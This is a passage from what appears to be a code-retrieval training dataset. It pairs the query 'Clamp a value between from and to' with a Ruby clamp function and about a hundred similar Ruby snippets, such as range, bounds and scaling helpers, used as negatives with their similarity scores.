query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
listlengths
0
101
negative_scores
listlengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
Clamp a value between from and to
def clamp(value, minimum_inclusive, maximum_inclusive) if minimum_inclusive > maximum_inclusive swap = minimum_inclusive minimum_inclusive = maximum_inclusive maximum_inclusive = swap end value < minimum_inclusive ? minimum_inclusive : value < maximum_inclusive ? value : maximum_inclusive end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def clamp(val, min, max)\n\treturn min if val < min\n\treturn max if val > max\n\treturn val\nend", "def clamp; end", "def clamp(x, low, hi)\n x = low if x < low\n x = hi if x > hi\n return x\n end", "def clamp(num, a, b)\r\n\treturn a if num < a\r\n\treturn b if num > b\r\n\treturn num\r\nend", "def clamp_of(a, b, c)\r\n return max(min(a, c), b)\r\n end", "def clip(value, limit, offset = 0)\n clipped_val = value\n clipped_val = offset + limit if value > offset + limit\n clipped_val = offset - limit if value < offset - limit\n clipped_val\n end", "def map_value(val, from_range, to_range)\n orig_range = [1, (from_range[1] - from_range[0]).abs].max\n new_range = [1, (to_range[1] - to_range[0]).abs].max\n\n ((val.to_f - from_range[0]) / orig_range) * new_range + to_range[0]\n end", "def restrict(value, range)\n [[value, range.first].max, range.last].min\n end", "def clamp(start_range, end_range)\n Proc.new { |target|\n next start_range if target < start_range\n next end_range if target > end_range\n\n target\n }\n end", "def restrict_to_bounds(value, lower = 1, upper = nil)\n value_i = value.to_i\n\n value_i = upper if !upper.blank? && value_i > upper\n value_i = lower if !lower.blank? && value_i < lower\n\n value_i\n end", "def clamp(rect)\n self.dup.clamp!(rect)\n end", "def clamp(x , min_or_max={})\n [[x, min_or_max[:max]].compact.min, min_or_max[:min]].compact.max\n end", "def spread\n (max - min).abs\n end", "def bound(min, max)\n self < min ? min : (self > max ? max : self)\n end", "def clip(min, max, output=nil)\n output ||= self\n self.each_with_index do |v,i|\n n = v\n n = min if v < min \n n = max if v > max\n output[i] = n\n end\n output\n end", "def bbpClamp(point, minimum_inclusive, maximum_inclusive)\n\n bbp(clamp(point.x, minimum_inclusive.x, maximum_inclusive.x), \n clamp(point.y, minimum_inclusive.y, maximum_inclusive.y))\n end", "def clamp_short(value)\n mode = Rubinius::Type.coerce_to value, Integer, :to_int\n mode < 0 || mode > 0xffff ? 0 : mode\n end", "def to_range\n min .. max\n end", "def set_value( value )\n if value == nil\n return\n end\n \n value = value.to_i\n \n satisfying_min = ((get_min == nil) or ((get_min != nil) and (get_min <= value)))\n satisfying_max = ((get_max == nil) or ((get_max != nil) and (value <= get_max)))\n \n if satisfying_min and satisfying_max\n @value = value\n else\n raise \"integer value out of range: #{ value.to_s }\"\n end\n end", "def limit(value)\n merge(lelimit: value.to_s)\n end", "def normalize(min, max, val)\n\t\t(val - min) / (max - min)\n\tend", "def set_amps_min x\n if x<10\n x=10\n end\n @@amps=x\n end", "def range_remap(input_range:0..255, output_range:0.0..1.0, value:0)\n\t\tsrc = input_range\n\t\tdest = output_range\n\t\t\n\t\t# src: http://stackoverflow.com/questions/3451553/value-remapping\n\t\t# low2 + (value - low1) * (high2 - low2) / (high1 - low1)\n\t\treturn dest.first + (value - src.first) * (dest.last - dest.first) / (src.last - src.first)\n\tend", "def range\n from_truncated..to_truncated\n end", "def negative(from: -5000.00, to: -1.00)\n random_number = between(from: from, to: to)\n\n less_than_zero(random_number)\n end", "def scale( value )\n ( value - @min ) / ( @max - @min )\n end", "def downto(min, &block)\n step(min, -1, &block)\n end", "def normalize(value)\n value -= value.floor \n value += 1 if value < 0\n value\n end", "def range\n @range ||= 0.upto(@limit)\n end", "def clamp_vector(min_vector, max_vector)\n self.class.new(Vector2.clamp(@x, min_vector.x, max_vector.x),\n Vector2.clamp(@y, min_vector.y, max_vector.y))\n end", "def clamp_to_edge(node, x, y, base=BASE)\n while base - (node % base) < x \n node -= 1\n end\n while (node + (base*(y-1))) >= (base*base)\n node -= base\n end\n return node\nend", "def happiness=(value)\n @happiness = value.clamp(0,10)\n # if value > 10\n # @happiness= 10\n # elsif value < 0\n # @happiness = 0\n # else \n # @happiness = value\n # end\n end", "def position(from=0, to, t)\n p = (to-from).abs # period\n (((t-p) % (2*p))-p).abs+[from,to].min\nend", "def min_range=(range)\n @min_range = [0, range].max\n @max_range = [@min_range, @max_range].max\n end", "def limit(value)\n merge(lhlimit: value.to_s)\n end", "def clamp_cash\n return false if cash_in_range?\n \n WarningFlag.fatal self, 'Portfolio cash had to be clamped', 1\n self.cash = -MAX_CASH if cash < -MAX_CASH\n self.cash = MAX_CASH if cash > MAX_CASH\n true\n end", "def map(value, v_min, v_max, d_min, d_max)\n v_value = value.to_f # so it returns float\n\n v_range = v_max - v_min\n d_range = d_max - d_min\n (v_value - v_min) * d_range / v_range + d_min\n end", "def range(min, max)\n return max if max < min\n range(min, max) << max\nend", "def range\n object.range + DEFAULT_MAX_DISTANCE\n end", "def get_upper_limit_of(range)\n range.max\nend", "def floor(target: COMMON_SCALE_FACTORS)\n dup.floor!(target: target)\n end", "def interval_value(current_value, max_value, value)\n if current_value - value < 0\n return max_value + current_value - value\n elsif current_value - value >= max_value\n return current_value - value - max_value\n else\n return current_value - value\n end\nend", "def between(from:, to:); end", "def circ_bounds(v, max, min)\n w = max - min\n if v > max then\n while (v > max) do\n v = v - w\n end\n elsif v < min then\n while (v < min) do\n v = v + w\n end\n end\n v\n end", "def define_min_and_max\n @min = acceptable_min\n @max = acceptable_max\n\n # If necessary, adjust a value depending on the other\n @min ||= floor\n @max ||= @min + ceiling || ceiling # rubocop:disable Naming/MemoizedInstanceVariableName\n end", "def test_bounds(val, min, max)\n val >= min && val <= max\n end", "def get_upper_limit_of(range)\n range.max\nend", "def out_of_bound?(value, min, max)\n return value > max || value < min\n end", "def limit(value)\n merge(srlimit: value.to_s)\n end", "def floor!(target: COMMON_SCALE_FACTORS)\n round!(target: target, direction: -1)\n end", "def explicit_range(rango, n_steps)\n a = n_steps==0 ? 1 : n_steps\n jump = (rango.max.to_f - rango.min)/a\n rango = rango.step(jump).to_a\n rango.delete_at(-1)\n rango\n end", "def range\n @from..@to\n end", "def set_min( min )\n if IntegerOption.bounds_ok?( min, @max )\n @min = min\n else\n @min = nil\n raise \"invalid lower bound: #{ min.to_s }\"\n end\n end", "def floor(value)\n numeric_transformation(value) {|n| n.floor}\n end", "def range\n min, max = span\n min..max\n end", "def scale(range)\n u = uninterpolate\n i = interpolate(range[0], range[1])\n\n lambda do |x|\n x = ([0.0, x, (wrong + right).to_f].sort[1]).to_f\n i.call(u.call(x))\n end\n end", "def limit(value)\n merge(pvimlimit: value.to_s)\n end", "def reverse_range(min, max)\n # Write your code here\nend", "def within(range: 1.00..5000.00)\n between(from: range.min, to: range.max)\n end", "def bound(n,options={})\n min=(options[:min]||1).to_i\n max=(options[:max]||5).to_i\n default=(options[:default]||min).to_i\n [[(n||default).to_i,min].max,max].min\n end", "def limit(value)\n merge(cmlimit: value.to_s)\n end", "def validate_limits(properties, value)\n # Minimum\n if properties[:min]\n min = limit_value properties, :min\n value = min if value < min\n end\n\n # Maximum\n if properties[:max]\n max = limit_value properties, :max\n value = max if value > max\n end\n\n value\n end", "def limitCurrentValue\n if @current < @low\n @current = @low\n CDK.Beep\n elsif @current > @high\n @current = @high\n CDK.Beep\n end\n end", "def normalize(value)\n return 0.0 if near_zero_or_less? value\n return 1.0 if near_one_or_more? value\n value\n end", "def bound a, upper, lower\n size = a.size1 * a.size2\n\n size.times do |i|\n value = a[i] \n if upper and value > upper\n a[i] = upper\n elsif lower and value < lower\n a[i] = lower\n end\n end\n \n a\n end", "def positive(from: 1.00, to: 5000.00)\n random_number = between(from: from, to: to)\n\n greater_than_zero(random_number)\n end", "def limit(value)\n merge(smlimit: value.to_s)\n end", "def setLowHigh(low, high)\n # Make sure the values aren't out of bounds.\n if low <= high\n @low = low\n @high = high\n elsif low > high\n @low = high\n @high = low\n end\n\n # Make sure the user hasn't done something silly.\n self.limitCurrentValue\n end", "def clamp!(rect)\n nself = self.normalize\n rect = Rect.new_from_object(rect)\n #If self is inside given, there is no need to move self\n unless rect.contain?(nself)\n\n #If self is too wide:\n if nself[2] >= rect[2]\n self[0] = rect.centerx - nself[2].div(2)\n #Else self is not too wide\n else\n #If self is to the left of arg\n if nself[0] < rect[0]\n self[0] = rect[0]\n #If self is to the right of arg\n elsif nself.right > rect.right\n self[0] = rect.right - nself[2]\n #Otherwise, leave x alone\n end\n end\n\n #If self is too tall:\n if nself[3] >= rect[3]\n self[1] = rect.centery - nself[3].div(2)\n #Else self is not too tall\n else\n #If self is above arg\n if nself[1] < rect[1]\n self[1] = rect[1]\n #If self below arg\n elsif nself.bottom > rect.bottom\n self[1] = rect.bottom - nself[3]\n #Otherwise, leave y alone\n end\n end\n end\n return self\n end", "def xRange(max)\n (@x > 0 ? @x - 1 : @x)..(@x < max - 1 ? @x + 1 : @x) \n end", "def enlarge(growth)\r\n if @range.none?\r\n @range = 0...growth\r\n else\r\n @range = (@range.min)..(@range.max + growth)\r\n end\r\n end", "def change_ranges(params)\n @min = params.fetch(:min, 0).to_f\n @max = params.fetch(:max, 100).to_f\n end", "def check_bounds(value)\n return value >= self.bound.lower_bound && value <= self.bound.upper_bound\n end", "def position(val)\n @inside = true\n return val if (low..high).cover? val\n @inside = false\n return constrain(val, low, high)\n end", "def upto(max, &block)\n step(max, +1, &block)\n end", "def max_range=(range)\n @max_range = [0, range].max\n @min_range = [@min_range, @max_range].min\n end", "def constrain(size)\n if size < @floor\n @floor\n else\n @ceiling && size > @ceiling ? @ceiling : size\n end\n end", "def limit(value)\n merge(notlimit: value.to_s)\n end", "def range(arr)\r\n # your code goes here\r\n\r\n arr.max - arr.min\r\nend", "def range(arr)\narr.max - arr.min\nend", "def clip n\n n < 0 ? 0.0 : n > 1 ? 1.0 : n\n end", "def straight_values_from(from)\n (from.to_i...from.to_i + 5).to_a\n end", "def limit(value)\n merge(rvlimit: value.to_s)\n end", "def scale(min_from, max_from, min_to, max_to)\n normalize(min_from, max_from).denormalize(min_to, max_to)\n end", "def scale_unit(n, start1, stop1, start2, stop2, limit = false)\r\n norm = (n - start1) / (stop1 - start1).to_f\r\n norm = norm.clamp(0,1) if limit\r\n\t((norm * (stop2 - start2)) + start2)\r\nend", "def limit(value)\n merge(gcllimit: value.to_s)\n end", "def clip_speed\n @speed = [@speed, @top_speed].min\n end", "def get_upper_limit_of(range)\n range.end\nend", "def between_min_max?(value, min, max) # TODO Repetido en concern/Methods\n return true if value >= min and value <= max\n return false\n end", "def limit(value)\n merge(orlimit: value.to_s)\n end", "def breakable_range; end", "def min_max_distance(min, max)\n FMOD.invoke(:ChannelGroup_Set3DMinMaxDistance, self, min, max)\n end", "def rand_in_range(from, to); end", "def limit(value)\n merge(agulimit: value.to_s)\n end", "def range\n (@from..@to)\n end", "def scale_by num\n min = 0.001\n num = min if num < min and num > -min\n self.x = self.x / num\n self.y = self.y / num\n self\n end", "def limit(value)\n merge(pilimit: value.to_s)\n end", "def limit(value)\n merge(bklimit: value.to_s)\n end", "def denormalize(lower_bound, upper_bound)\n # The first and last multiple of 360 we need to shift our range by\n start = 360 * ((lower_bound - @max).to_i / 360 + 1)\n stop = 360 * ((upper_bound - @min).to_i / 360 + 1)\n\n (start...stop).step(360).map { |s| (@min + s)..(@max + s) }\n end", "def ramp(value=nil)\n if value\n @ramp = value\n sync\n end\n @ramp\n end" ]
[ "0.80082524", "0.7946647", "0.77430665", "0.7323833", "0.70005155", "0.6985818", "0.674312", "0.66691613", "0.66453075", "0.6538454", "0.6485035", "0.64604056", "0.643361", "0.6353804", "0.63347065", "0.61676073", "0.6144327", "0.61366314", "0.604638", "0.594083", "0.5940719", "0.5918801", "0.59119946", "0.5888127", "0.58481175", "0.5816119", "0.57942265", "0.57750076", "0.5772482", "0.575369", "0.5694046", "0.56657565", "0.56627154", "0.56326705", "0.5631387", "0.56310165", "0.56281376", "0.56268144", "0.5625868", "0.56244206", "0.56211776", "0.56205577", "0.56124735", "0.5603166", "0.56025386", "0.5602176", "0.5600568", "0.55895954", "0.5565792", "0.55647856", "0.5560627", "0.5534817", "0.55119514", "0.55115104", "0.54998565", "0.54970604", "0.54929066", "0.5492733", "0.5492398", "0.548212", "0.54730546", "0.5471987", "0.54695547", "0.54548514", "0.54531723", "0.54507524", "0.5447927", "0.54449517", "0.54403174", "0.5437683", "0.5436036", "0.54345644", "0.54298395", "0.54240966", "0.54224306", "0.541945", "0.541574", "0.54118174", "0.5399088", "0.53948814", "0.53908163", "0.5383612", "0.53820956", "0.537599", "0.5374048", "0.5359922", "0.5358125", "0.53551924", "0.53519434", "0.5341144", "0.53355014", "0.5327632", "0.532699", "0.5324097", "0.5321482", "0.5306401", "0.53031635", "0.5293611", "0.52916855", "0.52885807" ]
0.78510576
2
Clamp a point between from and to
def bbpClamp(point, minimum_inclusive, maximum_inclusive) bbp(clamp(point.x, minimum_inclusive.x, maximum_inclusive.x), clamp(point.y, minimum_inclusive.y, maximum_inclusive.y)) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def clamp; end", "def clamp(x, low, hi)\n x = low if x < low\n x = hi if x > hi\n return x\n end", "def clamp(rect)\n self.dup.clamp!(rect)\n end", "def clamp(val, min, max)\n\treturn min if val < min\n\treturn max if val > max\n\treturn val\nend", "def clamp(value, minimum_inclusive, maximum_inclusive)\n\n if minimum_inclusive > maximum_inclusive\n\n swap = minimum_inclusive\n\n minimum_inclusive = maximum_inclusive\n maximum_inclusive = swap\n end\n\n value < minimum_inclusive ? minimum_inclusive : value < maximum_inclusive ? value : maximum_inclusive\n end", "def clip(value, limit, offset = 0)\n clipped_val = value\n clipped_val = offset + limit if value > offset + limit\n clipped_val = offset - limit if value < offset - limit\n clipped_val\n end", "def clamp(start_range, end_range)\n Proc.new { |target|\n next start_range if target < start_range\n next end_range if target > end_range\n\n target\n }\n end", "def clamp(num, a, b)\r\n\treturn a if num < a\r\n\treturn b if num > b\r\n\treturn num\r\nend", "def clamp_vector(min_vector, max_vector)\n self.class.new(Vector2.clamp(@x, min_vector.x, max_vector.x),\n Vector2.clamp(@y, min_vector.y, max_vector.y))\n end", "def clamp_of(a, b, c)\r\n return max(min(a, c), b)\r\n end", "def position(from=0, to, t)\n p = (to-from).abs # period\n (((t-p) % (2*p))-p).abs+[from,to].min\nend", "def clamp_to_edge(node, x, y, base=BASE)\n while base - (node % base) < x \n node -= 1\n end\n while (node + (base*(y-1))) >= (base*base)\n node -= base\n end\n return node\nend", "def clamp!(rect)\n nself = self.normalize\n rect = Rect.new_from_object(rect)\n #If self is inside given, there is no need to move self\n unless rect.contain?(nself)\n\n #If self is too wide:\n if nself[2] >= rect[2]\n self[0] = rect.centerx - nself[2].div(2)\n #Else self is not too wide\n else\n #If self is to the left of arg\n if nself[0] < rect[0]\n self[0] = rect[0]\n #If self is to the right of arg\n elsif nself.right > rect.right\n self[0] = rect.right - nself[2]\n #Otherwise, leave x alone\n end\n end\n\n #If self is too tall:\n if nself[3] >= rect[3]\n self[1] = rect.centery - nself[3].div(2)\n #Else self is not too tall\n else\n #If self is above arg\n if nself[1] < rect[1]\n self[1] = rect[1]\n #If self below arg\n elsif nself.bottom > rect.bottom\n self[1] = rect.bottom - nself[3]\n #Otherwise, leave y alone\n end\n end\n end\n return self\n end", "def bound(min, max)\n self < min ? min : (self > max ? max : self)\n end", "def clip(min, max, output=nil)\n output ||= self\n self.each_with_index do |v,i|\n n = v\n n = min if v < min \n n = max if v > max\n output[i] = n\n end\n output\n end", "def clamp(x , min_or_max={})\n [[x, min_or_max[:max]].compact.min, min_or_max[:min]].compact.max\n end", "def spread\n (max - min).abs\n end", "def map_value(val, from_range, to_range)\n orig_range = [1, (from_range[1] - from_range[0]).abs].max\n new_range = [1, (to_range[1] - to_range[0]).abs].max\n\n ((val.to_f - from_range[0]) / orig_range) * new_range + to_range[0]\n end", "def restrict(value, range)\n [[value, range.first].max, range.last].min\n end", "def limit(l)\n mSq = @x*@x + @y*@y\n if mSq > l*l\n m = Math.sqrt(mSq)\n @x /= m\n @y /= m\n @x *= l\n @y *= l\n end\n self\n end", "def scale_by num\n min = 0.001\n num = min if num < min and num > -min\n self.x = self.x / num\n self.y = self.y / num\n self\n end", "def clamped\n FloatRect.new(x, y, [[0.0, w].max, 1.0].min, [[0.0, h].max, 1.0].min)\n end", "def set_amps_min x\n if x<10\n x=10\n end\n @@amps=x\n end", "def linspace(from,step,limit)\n a = []\n from.step(limit,step){|x| a << x}\n a\nend", "def check_limits_on_x_and_y\n\t\tself.x = self.window.limit_max_x if x > self.window.limit_max_x \n\t\tself.y = self.window.limit_min_y if y > self.window.limit_max_y \n\tend", "def min_max_distance(min, max)\n FMOD.invoke(:ChannelGroup_Set3DMinMaxDistance, self, min, max)\n end", "def lerp(x1, y1, x2, y2, x)\n return y1 + (x - x1) * ((y2 - y1) / (x2 - x1))\nend", "def scale(x, xmin, xmax, ymin, ymax)\n xrange = xmax - xmin\n yrange = ymax - ymin\n ymin + (x - xmin) * (yrange.to_f / xrange) \n end", "def pos_x=(x)\n @pos_x = [[x, @min_x].max, @max_x].min\n # puts \"Camera: x clamped to #{x} -> #{@pos_x}\"\n each_layer { |layer| layer.source_x = @pos_x }\n end", "def absolute_point_to_grid(point)\n if point.x < min_x || point.x >= max_x || point.y < min_y || point.y >= max_y\n return nil\n end\n Point.new(((point.x - @pos.x) / @cellsize).to_i, ((point.y - @pos.y) / @cellsize).to_i)\n end", "def clip_speed\n @speed = [@speed, @top_speed].min\n end", "def bound a, upper, lower\n size = a.size1 * a.size2\n\n size.times do |i|\n value = a[i] \n if upper and value > upper\n a[i] = upper\n elsif lower and value < lower\n a[i] = lower\n end\n end\n \n a\n end", "def scale_unit(n, start1, stop1, start2, stop2, limit = false)\r\n norm = (n - start1) / (stop1 - start1).to_f\r\n norm = norm.clamp(0,1) if limit\r\n\t((norm * (stop2 - start2)) + start2)\r\nend", "def midpoint u, v\n (u.add v).scale 0.5\n end", "def floor!(target: COMMON_SCALE_FACTORS)\n round!(target: target, direction: -1)\n end", "def clip_to(x, y, w, h, &rendering_code); end", "def position(val)\n @inside = true\n return val if (low..high).cover? val\n @inside = false\n return constrain(val, low, high)\n end", "def circ_bounds(v, max, min)\n w = max - min\n if v > max then\n while (v > max) do\n v = v - w\n end\n elsif v < min then\n while (v < min) do\n v = v + w\n end\n end\n v\n end", "def floor(target: COMMON_SCALE_FACTORS)\n dup.floor!(target: target)\n end", "def limit\n @nodes.each do |node|\n norm = normal(node.disposition.x, node.disposition.y)\n if 0 < norm\n node.position.x += (node.disposition.x / norm) * [norm, @temperature].min\n node.position.y += (node.disposition.y / norm) * [norm, @temperature].min\n end\n end\n end", "def translate(x, y)\n [ x - bounds.x, y - bounds.y ]\n end", "def range\n object.range + DEFAULT_MAX_DISTANCE\n end", "def map(value, v_min, v_max, d_min, d_max)\n v_value = value.to_f # so it returns float\n\n v_range = v_max - v_min\n d_range = d_max - d_min\n (v_value - v_min) * d_range / v_range + d_min\n end", "def scale(min_from, max_from, min_to, max_to)\n normalize(min_from, max_from).denormalize(min_to, max_to)\n end", "def flip_range_xy(points); points.collect{ |v| Vertex.new(-v.y,-v.x)}; end", "def range_remap(input_range:0..255, output_range:0.0..1.0, value:0)\n\t\tsrc = input_range\n\t\tdest = output_range\n\t\t\n\t\t# src: http://stackoverflow.com/questions/3451553/value-remapping\n\t\t# low2 + (value - low1) * (high2 - low2) / (high1 - low1)\n\t\treturn dest.first + (value - src.first) * (dest.last - dest.first) / (src.last - src.first)\n\tend", "def clip_latitude(latitude)\n [ 90, [-90, latitude].max ].min\n end", "def loose_bounds\n return [@min, @max].collect { |p| Point.new(p) }\n end", "def scale(factor)\n Point.new(self.x * factor, self.y * factor)\n end", "def scale(range)\n u = uninterpolate\n i = interpolate(range[0], range[1])\n\n lambda do |x|\n x = ([0.0, x, (wrong + right).to_f].sort[1]).to_f\n i.call(u.call(x))\n end\n end", "def constrain(size)\n if size < @floor\n @floor\n else\n @ceiling && size > @ceiling ? @ceiling : size\n end\n end", "def range\n from_truncated..to_truncated\n end", "def restrict_to_bounds(value, lower = 1, upper = nil)\n value_i = value.to_i\n\n value_i = upper if !upper.blank? && value_i > upper\n value_i = lower if !lower.blank? && value_i < lower\n\n value_i\n end", "def inBounds lat, lon\n lat <= max_latitude && lat >= min_latitude && lon <= max_longitude && lon >= min_longitude\n end", "def scale( value )\n ( value - @min ) / ( @max - @min )\n end", "def ensure_bounds\n if self.position > min_position\n self.position = min_position\n false\n elsif self.position < max_position\n self.position = max_position\n false\n else\n true\n end\n end", "def negative(from: -5000.00, to: -1.00)\n random_number = between(from: from, to: to)\n\n less_than_zero(random_number)\n end", "def out_of_bounds?(x, y, lower_limit = 0, upper_limit = 4)\n (x < lower_limit or y < lower_limit) or (x > upper_limit or y > upper_limit)\n end", "def between(from:, to:); end", "def to_range\n min .. max\n end", "def downto(min, &block)\n step(min, -1, &block)\n end", "def relative_range_era(points)\n relative_range = []\n player = $game_player\n x,y = player.x, player.y\n points.each do |v|\n relative_range.push(Vertex.new(v.x + x, v.y + y))\n end\n relative_range\n end", "def clip\n max_h, max_w = w.h, w.w\n\n if x < 0 then\n self.x = x.abs\n return :west\n elsif x > max_w then\n self.x = 2 * max_w - x\n return :east\n end\n\n if y < 0 then\n self.y = y.abs\n return :south\n elsif y > max_h then\n self.y = 2 * max_h - y\n return :north\n end\n\n nil\n end", "def resize_to_point!(grab_handle, point, minimum_dimension=1)\n\t\tpoint = self.body.world2local(point)\n\t\tresize_to_local_point!(grab_handle, point, minimum_dimension)\n\tend", "def flip_range_neg_xy(points); points.collect{ |v| Vertex.new(v.y,v.x)}; end", "def flip_range_x(points); points.collect{ |v| Vertex.new(v.x, -v.y)}; end", "def normalize_bbox(min_x, min_y, max_x, max_y)\n min_x = (min_x + 360) if min_x < -180\n min_y = -90.0 if min_y < -90\n max_x = (max_x - 360) if max_x > 180\n max_y = 90.0 if max_y > 90\n [min_x, min_y, max_x, max_y]\n end", "def <=>(point)\n raise \"Must compare to another point\" unless point.is_a? Point\n if self.x < point.x\n -1\n elsif self.x > point.x\n 1\n else\n if self.y < point.y\n -1\n elsif self.y > point.y\n 1\n else\n 0\n end\n end\n end", "def normalize(min, max, val)\n\t\t(val - min) / (max - min)\n\tend", "def set_bounds( min, max )\n set_min( min )\n set_max( max )\n end", "def mapping_data(conversion_targetfloat,in_min,in_max,out_min,out_max)\n\n # Convert \"conversion_targetfloat\" from \"in_min\" to \"in_max\" range to \"out_min” to ”out_max\" range.\n return (conversion_targetfloat - in_min) * (out_max - out_min) / (in_max - in_min) + out_min\n\nend", "def scale(factor)\n x = x2 - x1\n y = y2 - y1\n Line.new(p1, Point.new(x1 + (x * factor), y1 + (y * factor)))\n end", "def shrink_wrap!(vertices)\n @min = vertices.sample\n @max = vertices.sample\n\n vertices.each do |vert|\n @min = vert.clone if vert.sum < @min.sum\n @max = vert.clone if vert.sum > @max.sum\n end\n end", "def mercator_limit\n LocationCoordinate.new([[-90.0, latitude].max, 90.0].min, longitude % 180.0)\n end", "def resize_to_local_point_locked_aspect!(grab_handle, point, minimum_dimension=1,limit_by:nil)\n\t\ttype, target_indicies = VEC_TO_TRANSFORM_DATA[grab_handle.to_a]\n\t\t\n\t\tnew_verts = self.verts\n\t\t\n\t\t\n\t\t# store original dimensions before any transforms\n\t\toriginal_width = self.width\n\t\toriginal_height = self.height\n\t\t\n\t\t\n\t\t# compute minimum dimensions\n\t\tlimit_by ||= :smaller\n\t\tlimits = [:smaller, :larger, :width, :height]\n\t\tunless limits.include? limit_by\n\t\t\traise \"Must declare kwarg 'limit by' with one of these values: #{limits.inspect}\"\n\t\tend\n\t\t\n\t\t\n\t\tminimum_x, minimum_y =\n\t\t\tminimum_dimensions(width, height, minimum_dimension, limit_by)\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\tcase type\n\t\t\twhen :edge\n\t\t\t\t# these two lines stolen from CP::Shape::Rect#resize_by_delta!\n\t\t\t\ta,b = target_indicies.collect{|i| new_verts[i] }\n\t\t\t\taxis = ( a.x == b.x ? :x : :y )\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t# TODO: consider possible problems of dividing delta by two. Should you use integer division? The underlying measurements are pixels, so what happens when you divide in half? Will you ever lose precision?\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t# -----\n\t\t\t\t# Compare these two ratios:\n\t\t\t\t# > minimum dimension calculation\n\t\t\t\t# > scale the secondary axis\n\t\t\t\t# \n\t\t\t\t# The two ratios are similarly calculated, but you can't reuse the same variable.\n\t\t\t\t# The top ratio is based on the which side is longer, \n\t\t\t\t# but the bottom ratio is based on which side is being directly manipulated.\n\t\t\t\t# -----\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t# Scale the edge along the axis shared by it's verts\n\t\t\t\t# Then, scale along the other axis\n\t\t\t\tif axis == :x\n\t\t\t\t\t# primary x\n\t\t\t\t\tself.resize_to_local_point!(grab_handle, point, minimum_x)\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t# secondary y\n\t\t\t\t\tratio = original_height / original_width\n\t\t\t\t\t\n\t\t\t\t\tnew_width = self.width\n\t\t\t\t\tnew_height = new_width * ratio\n\t\t\t\t\t\n\t\t\t\t\tdelta = new_height - original_height\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\ta = CP::Vec2.new(0, 1)\n\t\t\t\t\tb = CP::Vec2.new(0, -1)\n\t\t\t\t\tself.resize_by_delta!(a, a*delta/2, minimum_y)\n\t\t\t\t\tself.resize_by_delta!(b, b*delta/2, minimum_y)\n\t\t\t\telse # axis == :y\n\t\t\t\t\t# primary y\n\t\t\t\t\tself.resize_to_local_point!(grab_handle, point, minimum_y)\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t# secondary x\n\t\t\t\t\tratio = original_width / original_height\n\t\t\t\t\t\n\t\t\t\t\tnew_height = self.height\n\t\t\t\t\tnew_width = new_height * ratio\n\t\t\t\t\t\n\t\t\t\t\tdelta = new_width - original_width\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\ta = CP::Vec2.new( 1, 0)\n\t\t\t\t\tb = CP::Vec2.new(-1, 0)\n\t\t\t\t\tself.resize_by_delta!(a, a*delta/2, minimum_x)\n\t\t\t\t\tself.resize_by_delta!(b, b*delta/2, minimum_x)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\twhen :vert\n\t\t\t\t# should perform calculations completely within local space\n\t\t\t\t# (this allows for advanced coordinate space manipulations, ex: body rotation)\n\t\t\t\t\n\t\t\t\tcenter = self.center\n\t\t\t\tvert = new_verts[target_indicies.first]\n\t\t\t\tdiagonal = (vert - center).normalize\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tpoint -= center\n\t\t\t\t\t# perform projection relative to center\n\t\t\t\t\t# ( this coordinate space can not be rotated or skewed\n\t\t\t\t\t# so you can get in / out via translation only )\n\t\t\t\t\tpoint = point.project(diagonal)\n\t\t\t\tpoint += center\n\t\t\t\t\n\t\t\t\t# all calculations in local space\n\t\t\t\t# some calculations local to center, rather than local origin\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t# scale each axis separately, so each can be clamped independently\n\t\t\t\tself.resize_to_local_point!(CP::Vec2.new(grab_handle.x,0), point, minimum_x)\n\t\t\t\tself.resize_to_local_point!(CP::Vec2.new(0,grab_handle.y), point, minimum_y)\n\t\t\t\t\n\t\t\t\t\n\t\t\twhen :center\n\t\t\t\t# nothing\n\t\tend\n\tend", "def slerp!(destination, alpha)\n slerp(destination, alpha, self)\n end", "def set_min( min )\n if IntegerOption.bounds_ok?( min, @max )\n @min = min\n else\n @min = nil\n raise \"invalid lower bound: #{ min.to_s }\"\n end\n end", "def test_bounds(val, min, max)\n val >= min && val <= max\n end", "def lower_bound\n self.class.lower_bound(@obs, z_value)\n end", "def xRange(max)\n (@x > 0 ? @x - 1 : @x)..(@x < max - 1 ? @x + 1 : @x) \n end", "def lbound(bound); end", "def move_to(xx, yy)\n @x = xx\n @y = yy\n normalize\n end", "def adjust_interval\n if @az_max - @az_min >= 2*Math::PI\n # have come full circle\n @az_min = 0\n @az_max = 2*Math::PI\n else\n @az_max %= 2*Math::PI\n @az_min %= 2*Math::PI\n end\n end", "def origin=(point)\n end", "def denormalize(lower_bound, upper_bound)\n # The first and last multiple of 360 we need to shift our range by\n start = 360 * ((lower_bound - @max).to_i / 360 + 1)\n stop = 360 * ((upper_bound - @min).to_i / 360 + 1)\n\n (start...stop).step(360).map { |s| (@min + s)..(@max + s) }\n end", "def lat_range (min, max)\n lat = rand(0..(max - min)) + min\n lat\nend", "def center\n @vbuffer.buffer.min(1).to_a.zip(@vbuffer.buffer.max(1).to_a).map {|min,max| min + ((max-min)/2).abs }\n end", "def make_particles_stay_in_bounds scale\n # TODO: Better boundary conditions (THESE ARE A LAME WORKAROUND)\n particles.each do |particle|\n if particle.position.x >= scale - 0.01\n particle.position.x = scale - (0.01 + 0.1*rand)\n particle.velocity.x = 0\n elsif particle.position.x < 0.01\n particle.position.x = 0.01 + 0.1*rand\n particle.velocity.x = 0\n end\n\n if particle.position.y >= scale - 0.01\n particle.position.y = scale - (0.01+rand*0.1)\n particle.velocity.y = 0\n elsif particle.position.y < 0.01\n particle.position.y = 0.01 + rand*0.1\n particle.velocity.y = 0\n end\n end\n end", "def availability_curve(from)\n return [from.clamp(0.0, 1.0)] * Merit::POINTS 